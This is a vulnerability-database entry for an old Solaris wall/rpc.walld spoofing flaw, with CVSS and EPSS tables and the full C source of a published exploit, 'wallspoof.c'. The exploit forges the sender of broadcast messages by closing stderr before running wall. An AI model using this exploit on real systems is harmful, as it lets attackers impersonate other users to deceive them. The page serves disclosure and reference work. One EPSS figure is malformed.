CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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rpc.walld (wall daemon) for Solaris 2.6 through 9 allows local users to send messages to logged on users that appear to come from arbitrary user IDs by closing stderr before executing wall, then supplying a spoofed from header.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.05%
–
–
2022-02-13
–
–
2.05%
–
–
2022-04-03
–
–
2.05%
–
–
2022-08-28
–
–
2.05%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.12%
–
2025-02-16
–
–
–
0.12%
–
2025-01-19
–
–
–
0.12%
–
2025-02-16
–
–
–
0.12%
–
2025-03-18
–
–
–
–
0.32%
2025-03-30
–
–
–
–
0.32%
2025-04-15
–
–
–
–
0.32%
2025-04-15
–
–
–
–
0.32,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2003-01-02 23h00 +00:00 Author : Brant Roman EDB Verified : Yes
// source: https://www.securityfocus.com/bid/6509/info
Solaris is the freely available UNIX Operating System variant distributed by Sun Microsystems.
The wall client packaged with Solaris makes assumptions about a user's environment when the client is executed. The assumption is made that if the file descriptor of stderr points to a tty when wall is executed, the user is local. If not, the user is considered remote, and the first five bytes of the
supplied 'From' text will be used by wall as the users idenfitication. This makes it possible for a user to close stderr prior to the execution of wall, and send a spoofed message using the client.
/*
wallspoof.c - SOLARIS (X86/SPARC) Exploit
Don't use this in a malicious way! (i.e. to own people)
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *userhost;
char mesg[2050];
FILE *tmp;
if (argc < 2) {
fprintf (stderr, "usage: wallspoof user@host\n");
exit (-1);
}
userhost = argv[1];
if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
perror ("open");
exit (-1);
}
printf ("Enter your message below. End your message with an EOF (Control+D).\n");
fprintf (tmp, "From %s:", userhost);
while (fgets(mesg, 2050, stdin) != NULL)
fprintf (tmp, "%s", mesg);
fclose (tmp);
fclose (stderr);
printf ("<Done>\n");
system ("/usr/sbin/wall < /tmp/rxax");
unlink ("/tmp/rxax");
}